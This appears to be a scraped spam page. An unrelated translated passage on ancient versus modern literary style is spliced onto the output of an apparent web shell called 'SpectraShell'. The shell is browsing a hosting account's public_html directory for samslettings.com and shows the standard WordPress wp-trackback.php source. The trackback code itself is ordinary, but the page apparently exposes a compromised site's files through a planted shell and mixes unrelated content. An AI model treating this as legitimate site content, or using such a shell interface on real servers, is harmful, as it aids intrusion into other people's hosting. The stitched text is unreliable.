Critics have remarked that those four worthies were truly peerless throughout the ages; yet the present falls short of the past—the ancients favored unadorned simplicity, whereas the moderns prefer refined elegance. Styles of substance and ornament rise and fall in succession, shifting with the changing mores of the times; such evolution is simply the natural order of things. The ideal lies in honoring antiquity without clashing with the present, and embracing modernity without succumbing to its flaws—embodying that perfect balance of substance and refinement that defines the true gentleman. There is surely no need to abandon a carved palace in favor of a cave dwelling, or to trade a jade carriage for a primitive cart with solid wooden wheels.🌌 SpectraShell

🌌 SpectraShell

Current path: home/u461622454/domains/samslettings.com/public_html/


⬆️ Go up: /home/u461622454/domains/samslettings.com

📄 Viewing: wp-trackback.php

<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred. Default empty string.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$post_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$post_id = (int) $post_id[ count( $post_id ) - 1 ];
}

$trackback_url = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset       = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );

	// Validate the specified "sender" charset is available on the receiving site.
	if ( function_exists( 'mb_list_encodings' ) && ! in_array( $charset, mb_list_encodings(), true ) ) {
		$charset = '';
	}
}

if ( ! $charset ) {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( str_contains( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Escape values to use in the trackback.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$post_id = $posts[0]->ID;
}

if ( ! isset( $post_id ) || ! (int) $post_id ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $trackback_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $post_id ) );
	exit;
}

if ( ! empty( $trackback_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $post_id       Post ID related to the trackback.
	 * @param string $trackback_url Trackback URL.
	 * @param string $charset       Character set.
	 * @param string $title         Trackback title.
	 * @param string $excerpt       Trackback excerpt.
	 * @param string $blog_name     Site name.
	 */
	do_action( 'pre_trackback_post', $post_id, $trackback_url, $charset, $title, $excerpt, $blog_name );

	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $post_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_id      = (int) $post_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $trackback_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s",
			$comment_post_id,
			$comment_author_url
		)
	);

	if ( $dupe ) {
		trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) );
	}

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type'
	);

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );

	trackback_response( 0 );
}

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